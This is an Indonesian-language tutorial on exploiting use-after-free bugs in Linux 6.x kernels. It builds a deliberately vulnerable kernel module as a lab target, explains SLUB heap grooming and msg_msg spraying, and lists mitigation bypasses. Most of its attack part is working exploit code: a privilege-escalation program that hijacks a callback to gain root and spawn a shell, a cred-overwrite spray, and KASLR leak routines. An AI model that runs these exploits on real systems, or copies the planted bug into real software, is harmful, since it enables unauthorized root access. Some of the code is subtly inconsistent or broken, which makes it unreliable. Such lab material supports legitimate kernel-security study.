Panduan komprehensif eksploitasi UAF pada kernel Linux 6.x: dari konsep dasar SLUB allocator hingga teknik heap grooming, object spraying, dan privilege escalation.
Use-After-Free adalah kelas kerentanan memori di mana program melanjutkan penggunaan pointer ke region heap yang telah di-dealokasi. Di kernel Linux, kerentanan ini sangat berbahaya karena heap kernel bersifat shared — semua objek kernel (task_struct, file, socket, pipe, dll.) bersaing di allocator yang sama (SLUB).
kfree(ptr), slot memori tersebut bisa dialokasikan kembali untuk objek kernel berbeda tipe. Jika attacker mengontrol alokasi berikutnya, mereka bisa meng-overwrite field kritis pada objek baru → privilege escalation.
Ada tiga fase fundamental yang harus terjadi untuk exploit UAF:
kmalloc(), kzalloc(), atau kmem_cache_alloc(). Pointer disimpan di suatu struktur.
kfree() atau kmem_cache_free(), namun pointer lama tidak di-NULL-kan — menjadi dangling pointer.
| KATEGORI | MEKANISME | CONTOH CVE | SEVERITY |
|---|---|---|---|
| Struct UAF | Dangling pointer ke kernel struct (task, file, socket) | CVE-2022-0847 (Dirty Pipe) |
CRITICAL |
| VFS UAF | inode/dentry setelah umount race | CVE-2023-32233 |
HIGH |
| Network UAF | sk_buff, sock setelah close() | CVE-2022-1786 |
HIGH |
| Race-conditioned UAF | TOCTOU pada refcount, parallel free | CVE-2021-4154 |
HIGH |
| io_uring UAF | Async completion setelah ctx freed | CVE-2024-0582 |
CRITICAL |
Sejak kernel 2.6.23, Linux menggunakan SLUB sebagai default allocator. Memahami SLUB adalah prasyarat mutlak untuk exploit kernel karena mengontrol bagaimana memori di-free dan di-realokasi.
/* Setiap slab cache punya satu kmem_cache */ struct kmem_cache { struct kmem_cache_cpu __percpu *cpu_slab; /* per-CPU freelist cepat */ slab_flags_t flags; unsigned long min_partial; unsigned int size; /* ukuran objek termasuk metadata */ unsigned int object_size; /* ukuran objek asli */ struct reciprocal_value reciprocal_size; unsigned int offset; /* offset freelist pointer dalam objek */ unsigned int cpu_partial; /* max partial slabs per CPU */ struct kmem_cache_order_objects oo; struct list_head list; const char *name; int refcount; void (*ctor)(void *); /* constructor opsional */ }; /* State per-CPU (fast path) */ struct kmem_cache_cpu { void **freelist; /* pointer ke objek free pertama di slab aktif */ unsigned long tid; /* transaction ID, mencegah ABA race */ struct slab *slab; /* slab aktif saat ini */ #ifdef CONFIG_SLUB_CPU_PARTIAL struct slab *partial; /* partial slabs untuk CPU ini */ #endif };
/* * Fast path: per-CPU freelist ada → langsung ambil * Slow path: perlu refill dari partial atau allocate slab baru */ static inline void *kmem_cache_alloc_trace(struct kmem_cache *s, gfp_t flags, size_t size) { void *ret = slab_alloc(s, NULL, flags, _RET_IP_, size); return ret; } static inline void *slab_alloc_node(struct kmem_cache *s, struct list_lru *lru, gfp_t gfpflags, int node, unsigned long addr, size_t orig_size) { struct kmem_cache_cpu *c; struct slab *slab; void *object; unsigned long tid; redo: /* 1. Baca per-CPU state secara atomik */ c = raw_cpu_ptr(s->cpu_slab); tid = READ_ONCE(c->tid); barrier(); object = c->freelist; /* pointer ke objek bebas pertama */ slab = c->slab; if (unlikely(!object || !node_match(slab, node))) { /* SLOW PATH: isi ulang freelist */ object = __slab_alloc(s, gfpflags, node, addr, c, orig_size); } else { /* FAST PATH: ambil dari freelist langsung */ void *next_object = get_freepointer_safe(s, object); /* CAS atomik: update freelist ke objek berikutnya */ if (unlikely(!this_cpu_cmpxchg_double( s->cpu_slab->freelist, s->cpu_slab->tid, object, tid, next_object, next_tid(tid)))) { goto redo; /* CAS gagal → retry */ } } return object; }
void kfree(const void *x) { struct folio *folio; struct slab *slab; struct kmem_cache *s; if (unlikely(ZERO_OR_NULL_PTR(x))) return; folio = virt_to_folio(x); if (unlikely(!folio_test_slab(folio))) { /* bukan dari slab — dari page allocator langsung */ free_large_kmalloc(folio, (void *)x); return; } slab = folio_slab(folio); s = slab->slab_cache; slab_free(s, slab, (void *)x, NULL, &x, 1, _RET_IP_); } /* slab_free → memasukkan kembali objek ke per-CPU freelist */ static inline void do_slab_free(struct kmem_cache *s, struct slab *slab, void *head, void *tail, int cnt, unsigned long addr) { void *tail_obj = tail ? : head; struct kmem_cache_cpu *c; unsigned long tid; redo: c = raw_cpu_ptr(s->cpu_slab); tid = READ_ONCE(c->tid); if (likely(slab == c->slab)) { /* FAST PATH: bebas ke per-CPU freelist langsung */ void **freelist = c->freelist; /* tulis next free pointer ke dalam objek yang dibebaskan */ set_freepointer(s, tail_obj, freelist); /* CAS atomik: head menjadi freelist baru */ if (unlikely(!this_cpu_cmpxchg_double( s->cpu_slab->freelist, s->cpu_slab->tid, freelist, tid, head, next_tid(tid)))) { goto redo; } } else { __slab_free(s, slab, head, tail_obj, cnt, addr); } }
| CACHE NAME | UKURAN | OBJEK TIPIKAL |
|---|---|---|
kmalloc-8 | 8 bytes | Small flags, counters |
kmalloc-16 | 16 bytes | Small structs |
kmalloc-32 | 32 bytes | seq_file, msg_msg header |
kmalloc-64 | 64 bytes | iovec, nsproxy |
kmalloc-96 | 96 bytes | — |
kmalloc-128 | 128 bytes | sk_filter, bpf_prog |
kmalloc-192 | 192 bytes | — |
kmalloc-256 | 256 bytes | pipe_buffer, tty_struct |
kmalloc-512 | 512 bytes | task_struct (partial) |
kmalloc-1k | 1024 bytes | cred, signal_struct |
kmalloc-2k | 2048 bytes | net_device (partial) |
kmalloc-4k | 4096 bytes | Large buffers |
cat /proc/slabinfo atau sudo slabtop -o. Size objek yang freed masuk ke bucket terdekat yang lebih besar atau sama.
Kernel 6.x menggunakan freelist pointer obfuscation sebagai hardening ringan. Pointer free berikutnya disimpan XOR dengan nilai acak per-slab dan alamat slot.
/* * Freelist pointer diacak dengan XOR: * encoded = (next_free_ptr) XOR (slot_address) XOR (s->random) * * Ini bukan enkripsi kuat — hanya mencegah simple heap scan. * Nilai s->random bisa bocor via info leak. */ static inline void *freelist_ptr_decode(const struct kmem_cache *s, void *ptr, unsigned long ptr_addr) { #ifdef CONFIG_SLAB_FREELIST_HARDENED return (void *)(unsigned long)ptr ^ s->random ^ swab(ptr_addr); /* byte-swapped address */ #else return ptr; #endif } static inline void *get_freepointer(struct kmem_cache *s, void *object) { unsigned long ptr_addr = (unsigned long)object + s->offset; freeptr_t p; memcpy(&p, (void * const *)ptr_addr, sizeof(p)); return freelist_ptr_decode(s, (kw>void *)p.v, ptr_addr); }
s->random via info-leak (misal: /proc/slabinfo, physmap, atau kernel pointer leak) lalu XOR balik untuk mendapatkan alamat real.
Sebelum menulis exploit, identifikasi primitif apa yang diberikan bug UAF. Primitif menentukan teknik exploit yang bisa dipakai.
Membaca dari memori yang sudah di-free. Berguna untuk info leak: bocorkan alamat kernel, stack canary, atau isi objek yang mengisi ulang slot tersebut.
/* Contoh: baca 8 byte dari freed obj */ read(fd_victim, buf, 8); /* buf[0..7] = isi objek baru yang menempati slot */
Menulis ke memori yang sudah di-free. Dengan heap spray yang tepat, write ini mengenai objek baru yang menempati slot → controlled overwrite.
/* Tulis ke freed obj — mengenai obj baru */ write(fd_victim, evil_data, 0x80);
Memanggil function pointer dari objek yang sudah di-free. Target tipikal: ops->read/write/release dalam file_operations atau pipe_buf_operations.
Objek A (tipe X) di-free, slot diisi objek B (tipe Y berbeda ukuran/layout). Kernel menginterpretasikan field B sebagai field A → cross-type confusion.
| OBJEK | UKURAN | FIELD MENARIK | TEKNIK |
|---|---|---|---|
struct cred |
~168 bytes → kmalloc-192 | uid, gid, euid, egid, cap_effective |
Overwrite → root cred |
struct pipe_buffer |
40 bytes → kmalloc-64 | ops (ptr ke pipe_buf_operations) |
Function ptr → RIP |
struct msg_msg |
variable, min 48 | m_list, m_type, m_ts |
Heap feng shui, OOB read |
struct tty_struct |
~0x2B8 | ops (tty_operations*) |
ops overwrite → ioctl RIP |
struct file |
~232 bytes | f_op (file_operations*) |
read/write/ioctl RIP |
struct sk_buff |
variable, head ~256 | cb[], data, destructor |
Network UAF, oob write |
Kita akan membuat Loadable Kernel Module (LKM) yang sengaja mengandung bug UAF sebagai target latihan. Module ini mensimulasikan pola yang sering muncul di driver nyata.
#include <linux/module.h> #include <linux/kernel.h> #include <linux/fs.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <linux/miscdevice.h> #include <linux/mutex.h> #include <linux/ioctl.h> #define DEVICE_NAME "vuln_uaf" #define UAF_ALLOC _IO('U', 1) /* alokasi objek */ #define UAF_FREE _IO('U', 2) /* bebaskan objek */ #define UAF_USE _IOWR('U',3, struct uaf_io) /* gunakan setelah free */ #define UAF_SHOW _IO('U', 4) /* cetak info objek */ struct vuln_obj { char name[64]; /* nama objek */ int value; /* nilai integer */ void (*callback)(void); /* ← function pointer MENARIK */ int refcount; /* BUGGY: tidak atomic */ }; struct uaf_io { char buf[64]; int value; }; /* Global pointer — ini sumber dangling pointer! */ static struct vuln_obj *g_obj = NULL; static DEFINE_MUTEX(g_lock); /* ───────────────────────────────────────────── * Implementasi callback normal (aman) * ───────────────────────────────────────────── */ static void normal_callback(void) { printk(KERN_INFO "[vuln_uaf] normal_callback called\n"); } /* ───────────────────────────────────────────── * ioctl handler — di sini terjadi UAF * ───────────────────────────────────────────── */ static long uaf_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { struct uaf_io io; int ret = 0; switch (cmd) { /* ── ALLOC ──────────────────────────── */ case UAF_ALLOC: mutex_lock(&g_lock); if (g_obj) { printk(KERN_WARNING "[vuln_uaf] already allocated\n"); ret = -EBUSY; goto unlock; } /* kmalloc → masuk ke kmalloc-128 (sizeof=88 bytes → 128) */ g_obj = kzalloc(sizeof(struct vuln_obj), GFP_KERNEL); if (!g_obj) { ret = -ENOMEM; goto unlock; } strncpy(g_obj->name, "vuln_object_v1", 63); g_obj->value = 0x1337; g_obj->callback = normal_callback; g_obj->refcount = 1; printk(KERN_INFO "[vuln_uaf] allocated @ %px\n", g_obj); break; /* ── FREE ───────────────────────────── */ case UAF_FREE: mutex_lock(&g_lock); if (!g_obj) { ret = -EINVAL; goto unlock; } kfree(g_obj); /* * BUG: g_obj TIDAK di-set NULL setelah kfree! * g_obj sekarang adalah DANGLING POINTER. */ printk(KERN_INFO "[vuln_uaf] freed (DANGLING!)\n"); break; /* ── USE AFTER FREE ─────────────────── */ case UAF_USE: /* Tidak ada cek apakah g_obj sudah di-free! * Ini adalah UAF: akses memori yang mungkin sudah diisi ulang. */ if (!g_obj) { ret = -EINVAL; break; } if (copy_from_user(&io, (void __user *)arg, sizeof(io))) return -EFAULT; /* UPDATE via dangling pointer → writes ke objek baru! */ g_obj->value = io.value; strncpy(g_obj->name, io.buf, 63); /* CALL via dangling pointer → function pointer hijack! */ if (g_obj->callback) g_obj->callback(); /* ← CRASH / RIP CONTROL di sini */ break; /* ── SHOW INFO ──────────────────────── */ case UAF_SHOW: printk(KERN_INFO "[vuln_uaf] g_obj=%px name=%s val=%d cb=%pS\n", g_obj, g_obj ? g_obj->name : "(null)", g_obj ? g_obj->value : 0, g_obj ? (void*)g_obj->callback : NULL); break; default: ret = -EINVAL; } return ret; unlock: mutex_unlock(&g_lock); return ret; } static const struct file_operations uaf_fops = { .owner = THIS_MODULE, .unlocked_ioctl = uaf_ioctl, }; static struct miscdevice uaf_misc = { .minor = MISC_DYNAMIC_MINOR, .name = DEVICE_NAME, .fops = &uaf_fops, }; static int __init uaf_init(void) { int r = misc_register(&uaf_misc); printk(KERN_INFO "[vuln_uaf] loaded (dev /dev/%s)\n", DEVICE_NAME); return r; } static void __exit uaf_exit(void) { misc_deregister(&uaf_misc); printk(KERN_INFO "[vuln_uaf] unloaded\n"); } module_init(uaf_init); module_exit(uaf_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("w1sdom/BlueDragonSec"); MODULE_DESCRIPTION("UAF Lab Target — Educational Only");
obj-m += vuln_uaf.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) all: make -C $(KDIR) M=$(PWD) modules clean: make -C $(KDIR) M=$(PWD) clean load: sudo insmod vuln_uaf.ko sudo chmod 666 /dev/vuln_uaf unload: sudo rmmod vuln_uaf
Exploit ini menargetkan vuln_uaf untuk mencapai Local Privilege Escalation (LPE) via cred overwrite. Flow exploit:
Heap grooming (atau heap feng shui) adalah teknik untuk mengatur tata letak heap agar slot yang kita target berada pada posisi yang diprediksi. Tujuannya: ketika objek victim di-free, slot kosong yang persis sama ukurannya tersedia untuk dialokasikan oleh objek attacker.
struct vuln_obj berukuran 88 bytes → masuk kmalloc-128. Kita perlu grooming pada cache ini.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/mman.h> #include <sys/msg.h> #include <sys/wait.h> #include <sched.h> #include <errno.h> #define UAF_ALLOC _IO('U', 1) #define UAF_FREE _IO('U', 2) #define UAF_USE _IOWR('U', 3, struct uaf_io) #define SPRAY_COUNT 256 /* jumlah objek spray */ #define GROOMING_COUNT 64 /* objek untuk grooming awal */ struct uaf_io { char buf[64]; int value; }; /* * ───────────────────────────────────────────────────────────── * HEAP GROOMING via msg_msg * * msg_msg header: 48 bytes * Payload sampai: 4096 - 48 = 4048 bytes per message * * Untuk target kmalloc-128, kita kirim message payload 80 bytes * (128 - 48 = 80). Total msg_msg = 128 bytes → masuk kmalloc-128. * * Teknik: allokasikan banyak msg → free sebagian untuk membuat * "lubang" (holes) pada posisi yang predictable. * ───────────────────────────────────────────────────────────── */ typedef struct { long mtype; char mtext[80]; /* 80 byte payload → total msg_msg = 128 */ } msg_t; static int msqids[SPRAY_COUNT]; static int dev_fd; void die(const char *msg) { perror(msg); exit(1); } void heap_groom(void) { msg_t m = {.mtype = 1}; memset(m.mtext, 0x41, sizeof(m.mtext)); printf("[*] Phase 1: Allocating %d msg_msg objects (kmalloc-128)\n", GROOMING_COUNT); /* Alokasi GROOMING_COUNT message queues */ for (int i = 0; i < GROOMING_COUNT; i++) { msqids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if (msqids[i] < 0) die("msgget"); if (msgsnd(msqids[i], &m, sizeof(m.mtext), 0) < 0) die("msgsnd groom"); } printf("[*] Phase 2: Freeing every other msg → creating holes\n"); /* Free setiap objek genap → buat lubang teratur di heap */ for (int i = 0; i < GROOMING_COUNT; i += 2) { msg_t recv; /* IPC_NOWAIT + MSG_COPY = non-destructive peek di kernel ≥ 3.17 */ msgrcv(msqids[i], &recv, sizeof(recv.mtext), 0, 0); msgctl(msqids[i], IPC_RMID, NULL); msqids[i] = -1; } printf("[+] Heap grooming done — holes ready in kmalloc-128\n"); }
Object spraying adalah teknik mengalokasikan banyak objek untuk meningkatkan probabilitas bahwa slot yang di-free akan diisi oleh objek yang kita kontrol. Kita menggunakan pipe sebagai spray object karena pipe_buffer mengandung const struct pipe_buf_operations *ops yang bisa kita overwrite untuk RIP control.
/* * pipe_buffer layout (include/linux/pipe_fs_i.h): * struct pipe_buffer { * struct page *page; // +0x00 * unsigned int offset; // +0x08 * unsigned int len; // +0x0c * const struct pipe_buf_operations *ops; // +0x10 ← TARGET * unsigned int flags; // +0x18 * unsigned long private;// +0x20 * }; sizeof = 0x28 = 40 bytes → kmalloc-64 * * CATATAN: vuln_obj kita di kmalloc-128, jadi kita perlu * spray object yang juga 128 bytes. Kita pakai msg_msg * dengan payload yang meng-overwrite field ops. */ /* Struktur fake ops table — di userspace (atau mapped kernel page) */ struct fake_pipe_ops { void *confirm; void *release; /* ← trigger saat pipe ditutup */ void *try_steal; void *get; }; /* * Payload untuk overwrite vuln_obj via UAF write. * Layout harus sesuai dengan struct vuln_obj: * char name[64] → offset 0 * int value → offset 64 * void (*callback) → offset 72 * int refcount → offset 80 */ struct fake_vuln_obj { char name[64]; int value; int _pad; void *callback; /* ← kita kontrol ini */ int refcount; } __attribute__((packed)); /* shellcode: commit_creds(prepare_kernel_cred(NULL)) + return */ typedef int (*commit_creds_t)(void *); typedef void *(*prepare_creds_t)(void *); static commit_creds_t commit_creds_fn; static prepare_creds_t prepare_kernel_cred_fn; /* ───────────────────────────────────────────── * Resolve kernel symbols via /proc/kallsyms * ───────────────────────────────────────────── */ unsigned long ksym(const char *name) { FILE *f = fopen("/proc/kallsyms", "r"); if (!f) die("kallsyms"); unsigned long addr = 0; char sym[256], type; while (fscanf(f, "%lx %c %255s", &addr, &type, sym) == 3) { if (strcmp(sym, name) == 0) { fclose(f); return addr; } } fclose(f); fprintf(stderr, "[-] Symbol not found: %s\n", name); exit(1); } /* ───────────────────────────────────────────── * Shellcode yang dieksekusi di kernel context * ───────────────────────────────────────────── */ static void escalate_privs(void) { /* prepare_kernel_cred(NULL) → root credential */ void *root_cred = prepare_kernel_cred_fn(NULL); /* commit_creds → terapkan ke task sekarang */ commit_creds_fn(root_cred); } /* ───────────────────────────────────────────── * Spray msg_msg dengan payload vuln_obj palsu * ───────────────────────────────────────────── */ int spray_msqids[SPRAY_COUNT]; void spray_objects(void) { struct fake_vuln_obj fobj; memset(&fobj, 0, sizeof(fobj)); strncpy(fobj.name, "AAAAAAAA", 8); fobj.value = 0xdeadbeef; fobj.callback = (void *)escalate_privs; /* ← HIJACK TARGET */ fobj.refcount = 1; /* Bungkus dalam msg_t — harus tepat 128 bytes total */ typedef struct { long mtype; char mtext[80]; } spray_msg_t; spray_msg_t sm; sm.mtype = 1; /* * Kita copy fake_vuln_obj ke dalam mtext: * Tapi nama[64] + value + pad + callback = 72 bytes cukup. * UAF write akan overwrite mulai dari name[0]. */ memcpy(sm.mtext, &fobj, 80); printf("[*] Spraying %d msg_msg objects...\n", SPRAY_COUNT); for (int i = 0; i < SPRAY_COUNT; i++) { spray_msqids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if (spray_msqids[i] < 0) die("msgget spray"); if (msgsnd(spray_msqids[i], &sm, 80, 0) < 0) die("msgsnd spray"); } printf("[+] Spray complete\n"); }
int main(void) { printf("╔══════════════════════════════════════════╗\n"); printf("║ Linux Kernel 6.x UAF Exploit ║\n"); printf("║ Target: vuln_uaf.ko :: kmalloc-128 ║\n"); printf("║ Author: w1sdom / BlueDragonSec ║\n"); printf("╚══════════════════════════════════════════╝\n\n"); /* ── 0. Resolve kernel symbols ─────────── */ printf("[*] Resolving kernel symbols...\n"); commit_creds_fn = (commit_creds_t) ksym("commit_creds"); prepare_kernel_cred_fn = (prepare_creds_t)ksym("prepare_kernel_cred"); printf("[+] commit_creds @ 0x%lx\n", (unsigned long)commit_creds_fn); printf("[+] prepare_kernel_cred @ 0x%lx\n", (unsigned long)prepare_kernel_cred_fn); /* ── 1. Buka device ────────────────────── */ dev_fd = open("/dev/vuln_uaf", O_RDWR); if (dev_fd < 0) die("/dev/vuln_uaf"); printf("[+] Device opened\n"); /* ── 2. Heap grooming ──────────────────── */ heap_groom(); /* ── 3. Alokasi objek victim ───────────── */ printf("[*] Allocating victim object...\n"); if (ioctl(dev_fd, UAF_ALLOC, 0) < 0) die("UAF_ALLOC"); printf("[+] Victim object allocated\n"); /* ── 4. FREE victim → g_obj menjadi dangling ── */ printf("[*] Freeing victim object (creating dangling ptr)...\n"); if (ioctl(dev_fd, UAF_FREE, 0) < 0) die("UAF_FREE"); printf("[+] Object freed — slot now in SLUB freelist\n"); /* ── 5. Spray: isi slot dengan objek palsu ── */ spray_objects(); /* * ── 6. UAF_USE: trigger callback ───────────────────────── * * Saat UAF_USE dipanggil: * g_obj (dangling) menunjuk ke slot yang sekarang berisi * msg_msg dengan payload fake_vuln_obj kita. * * g_obj->callback = escalate_privs (kita set via spray) * → kernel memanggil escalate_privs() di kernel context * → commit_creds(prepare_kernel_cred(NULL)) * → proses kita sekarang UID/GID = 0 */ struct uaf_io io; memset(&io, 0, sizeof(io)); io.value = 0x1234; strncpy(io.buf, "trigger", 7); printf("[*] Triggering UAF_USE → callback hijack...\n"); ioctl(dev_fd, UAF_USE, (unsigned long)&io); /* Jika berhasil, kita sudah root setelah baris ini */ /* ── 7. Verifikasi ─────────────────────── */ if (getuid() == 0) { printf("\n[!!!] UID = 0 — ROOT ACHIEVED!\n"); printf("[*] Spawning root shell...\n\n"); execl("/bin/sh", "sh", "-i", NULL); } else { printf("[-] Exploit failed (UID=%d) — try adjusting spray\n", getuid()); } return 0; }
Metode lebih stabil pada kernel 6.x: spray struct cred via clone() atau fork(), lalu overwrite field uid/gid secara langsung.
/* * Metode: spray cred structs via fork() * * struct cred layout (include/linux/cred.h): * { * atomic_long_t usage; // +0x00 8 bytes * kuid_t uid; // +0x08 4 bytes ← target * kgid_t gid; // +0x0c 4 bytes ← target * kuid_t suid; // +0x10 * kgid_t sgid; // +0x14 * kuid_t euid; // +0x18 ← target * kgid_t egid; // +0x1c ← target * ... * } sizeof ≈ 168 bytes → kmalloc-192 */ #define CRED_SPRAY 512 static pid_t cred_pids[CRED_SPRAY]; void cred_spray_and_overwrite(int vuln_fd) { /* * STEP 1: fork() banyak proses → kernel alokasi banyak cred * di kmalloc-192. Child menunggu sinyal. */ for (int i = 0; i < CRED_SPRAY; i++) { cred_pids[i] = fork(); if (cred_pids[i] == 0) { /* Child: tunggu sampai parent kirim sinyal SIGCONT */ raise(SIGSTOP); /* Jika cred kita berhasil di-overwrite → cek uid */ if (getuid() == 0) execl("/bin/sh", "sh", "-i", NULL); _exit(0); } } /* * STEP 2: Trigger UAF — asumsikan slot victim di kmalloc-192 * (adjust sesuai ukuran vuln_obj target). * Overwrite dengan payload yang set uid/euid = 0. */ char cred_payload[192]; memset(cred_payload, 0, sizeof(cred_payload)); /* usage (offset 0) = 2 (jangan 0, akan di-free!) */ *(long *)(cred_payload + 0x00) = 0x0000000000000002LL; /* uid=gid=suid=sgid=euid=egid=fsuid=fsgid = 0 (sudah 0 karena memset) */ /* cap_inheritable/permitted/effective = 0x1ffffffffff (full caps) */ *(unsigned long *)(cred_payload + 0x30) = 0x1fffffffffLL; /* cap_inheritable */ *(unsigned long *)(cred_payload + 0x38) = 0x1fffffffffLL; /* cap_permitted */ *(unsigned long *)(cred_payload + 0x40) = 0x1fffffffffLL; /* cap_effective */ /* Trigger UAF_USE dengan payload cred — overwrite cred salah satu child */ struct uaf_io io; memset(&io, 0, sizeof(io)); io.value = 0; ioctl(vuln_fd, UAF_USE, &io); /* * STEP 3: Resume semua children — yang cred-nya ter-overwrite * akan menjadi root dan spawn shell. */ for (int i = 0; i < CRED_SPRAY; i++) { if (cred_pids[i] > 0) kill(cred_pids[i], SIGCONT); } for (int i = 0; i < CRED_SPRAY; i++) { if (cred_pids[i] > 0) waitpid(cred_pids[i], NULL, 0); } }
gcc -o exploit exploit.c -static -O0 -no-pie # -static: tidak perlu library di target VM # -O0: pastikan layout struct tidak dioptimisasi compiler # -no-pie: alamat exploit lebih mudah diprediksi
| MITIGASI | KERNEL OPTION | EFEK | BYPASS |
|---|---|---|---|
| KASLR | CONFIG_RANDOMIZE_BASE |
Randomisasi base kernel image | Info leak via /proc/kallsyms (butuh root) atau side-channel |
| SMEP | Hardware (CR4.bit20) | Kernel tidak bisa execute userspace | kROP chain, ret2kernel, kernel stack pivot |
| SMAP | Hardware (CR4.bit21) | Kernel tidak bisa akses userspace (tanpa stac/clac) | copy_from_user gadgets, kernel-space data only |
| Freelist Hardening | CONFIG_SLAB_FREELIST_HARDENED |
XOR freelist pointer | Bocorkan s->random via info leak |
| Freelist Randomization | CONFIG_SLAB_FREELIST_RANDOM |
Urutan freelist diacak saat slab init | Spray lebih banyak; gunakan deterministic allocator behavior |
| CFI (kCFI) | CONFIG_CFI_CLANG |
Validasi tipe function pointer sebelum call | Temukan gadget dengan tipe signature cocok |
| KASAN | CONFIG_KASAN |
Deteksi UAF, OOB di runtime (debugging) | Tidak aktif di production kernel |
| Heap Isolation | kmem_cache per-type | Tiap struct type punya cache sendiri | Cari objek dengan cache yang sama / tumpang tindih size |
/* Method 1: /proc/kallsyms — hanya tersedia jika: * - CONFIG_KALLSYMS_ALL=y * - kptr_restrict = 0 (default: 2 di distribusi modern) * - atau proses berjalan sebagai root * * Pada kernel 6.x dengan kptr_restrict=2, pointer dikaburkan. * Bypass: gunakan proses lain yang sudah root sebagai helper, * atau cari info leak primer terlebih dahulu. */ unsigned long leak_kaslr_base(void) { FILE *f; unsigned long addr, base; char sym[256], type; /* Coba baca kptr_restrict */ int kptr = 2; f = fopen("/proc/sys/kernel/kptr_restrict", "r"); if (f) { fscanf(f, "%d", &kptr); fclose(f); } if (kptr == 0) { /* Baca langsung */ f = fopen("/proc/kallsyms", "r"); fscanf(f, "%lx %c %255s", &addr, &type, sym); fclose(f); /* Hitung KASLR slide */ base = addr - 0xffffffff81000000UL; /* compile-time base */ printf("[+] KASLR slide: 0x%lx\n", base); return base; } printf("[-] kptr_restrict=%d — need alternative leak\n", kptr); return 0; }
/* * Method 2: msg_msg OOB read untuk leak kernel pointer * * Teknik ini mengeksploitasi msg_msg yang menyimpan * m_list.next/prev (pointer ke kernel) dalam header-nya. * Dengan mengontrol m_ts (panjang pesan) menjadi lebih besar * dari payload aktual, msgrcv akan membaca melewati batas * pesan dan membocorkan data dari objek berikutnya di heap. * * Berguna ketika ada OOB write terpisah yang bisa mengubah m_ts. */ unsigned long leak_via_msg_oob(int msqid_victim) { char bigbuf[0x1000]; memset(bigbuf, 0, sizeof(bigbuf)); struct { long mtype; char data[0x1000]; } recv; /* Terima lebih banyak dari yang dikirim → OOB read heap */ ssize_t r = msgrcv(msqid_victim, &recv, 0x1000, 0, MSG_COPY | IPC_NOWAIT); if (r > 0x80) { /* Data setelah payload asli = isi heap berikutnya */ unsigned long *leak = (unsigned long *)(recv.data + 0x80); printf("[+] Leaked kernel ptr: 0x%lx\n", *leak); return *leak; } return 0; }
/* * Method 3: physmap / direct-map leak * * Kernel memetakan seluruh RAM fisik ke virtual address space * via "direct map" di atas 0xffff888000000000. * * Jika kita bisa membaca arbitrary kernel VA, kita bisa * menelusuri struktur data kernel. * * Kombinasi dengan UAF read primitive: * 1. Baca 8 byte dari freed object (jika slot diisi cred/task) * 2. Nilai yang dibaca adalah kernel VA → hitung slide */ unsigned long leak_via_uaf_read(int dev_fd) { struct uaf_io io; unsigned long leaked = 0; /* Alokasi, free, kemudian baca sebelum spray (slot masih berisi * sisa data lama — atau freelist pointer kernel!) */ ioctl(dev_fd, UAF_ALLOC, 0); ioctl(dev_fd, UAF_FREE, 0); /* UAF_USE sekarang membaca dari slot yang baru dibebaskan. * Freelist pointer tersimpan di offset 0 dari slot. * Nilai ini adalah kernel address → bocorkan KASLR. */ ioctl(dev_fd, UAF_USE, &io); /* Asumsi: name[0..7] mengandung freelist pointer */ memcpy(&leaked, io.buf, 8); printf("[+] Leaked via UAF read: 0x%lx\n", leaked); return leaked; }
#!/bin/bash # Boot kernel dengan GDB stub aktif # Jalankan: ./qemu_debug.sh # Di terminal lain: gdb vmlinux → target remote :1234 qemu-system-x86_64 \ -kernel ./bzImage \ -append "root=/dev/sda console=ttyS0 nokaslr nosmap nosmep \ kasan=1 kasan_multi_shot=1 \ oops=panic panic=1 \ net.ifnames=0" \ -drive file=./rootfs.img,format=raw \ -m 2G \ -smp 2 \ -nographic \ -s -S \ # -s: buka GDB server di port 1234 # -S: pause CPU saat start (tunggu GDB connect) -virtfs local,path=./shared,mount_tag=host0,security_model=passthrough,id=host0 \ -netdev user,id=eth0,hostfwd=tcp::5555-:22 \ -device virtio-net-pci,netdev=eth0 2>&1 | tee qemu.log
# 1. Load simbol kernel file vmlinux # 2. Connect ke QEMU GDB stub target remote :1234 # 3. Set breakpoint di kfree untuk tracking hbreak kfree commands # Print alamat objek yang akan di-free printf "kfree(%p)\n", $rdi # Backtrace singkat bt 5 continue end # 4. Breakpoint di vuln_uaf ioctl handler hbreak uaf_ioctl commands printf "UAF ioctl: cmd=%d arg=%lx\n", $esi, $rdx continue end # 5. Watch pada g_obj (setelah module loaded) # dapatkan alamat via: p &g_obj # watch *&g_obj # 6. Helper: print SLUB cache info untuk kmalloc-128 define slub_info set $cache = (struct kmem_cache *)kmalloc_caches[1][7] printf "kmalloc-128 size : %d\n", $cache->object_size printf "kmalloc-128 freelist : %p\n", $cache->cpu_slab->freelist end # 7. Start eksekusi continue
# Syzkaller description untuk vuln_uaf device # Simpan di: sys/linux/dev_vuln_uaf.txt include <linux/ioctl.h> resource fd_vuln_uaf[fd] # Open device openat$vuln_uaf(fd const[AT_FDCWD], file ptr[in, string["/dev/vuln_uaf"]], flags flags[open_flags], mode const[0]) fd_vuln_uaf # ALLOC ioctl (_IO('U', 1) = 0x5501) ioctl$UAF_ALLOC(fd fd_vuln_uaf, cmd const[0x5501], arg const[0]) # FREE ioctl (_IO('U', 2) = 0x5502) ioctl$UAF_FREE(fd fd_vuln_uaf, cmd const[0x5502], arg const[0]) # USE ioctl (_IOWR('U', 3, uaf_io) = 0xc044_5503) ioctl$UAF_USE(fd fd_vuln_uaf, cmd const[0xc0445503], arg ptr[in, uaf_io]) uaf_io { buf array[int8, 64] value int32 }
BUG: KASAN: use-after-free in uaf_ioctl+0x2f4/0x340 [vuln_uaf]
Read of size 8 at addr ffff888012340048 by task exploit/1234
Allocated by task 1234:
kzalloc at mm/slub.c:3954
uaf_ioctl at vuln_uaf.c:57
Freed by task 1234:
kfree at mm/slub.c:4554
uaf_ioctl at vuln_uaf.c:73
The buggy address belongs to the object at ffff888012340000
which belongs to the cache kmalloc-128
Latihan terstruktur dari level dasar hingga lanjut. Setiap latihan memiliki hints yang bisa diklik.
Tujuan: Konfirmasi bahwa bug UAF benar-benar terjadi menggunakan KASAN. Compile kernel dengan CONFIG_KASAN=y CONFIG_KASAN_INLINE=y.
Langkah:
Expected output: KASAN report menunjukkan alamat tepat dari alloc dan free backtrace.
Tujuan: Verifikasi bahwa msg_msg berhasil menempati slot freed objek.
Langkah:
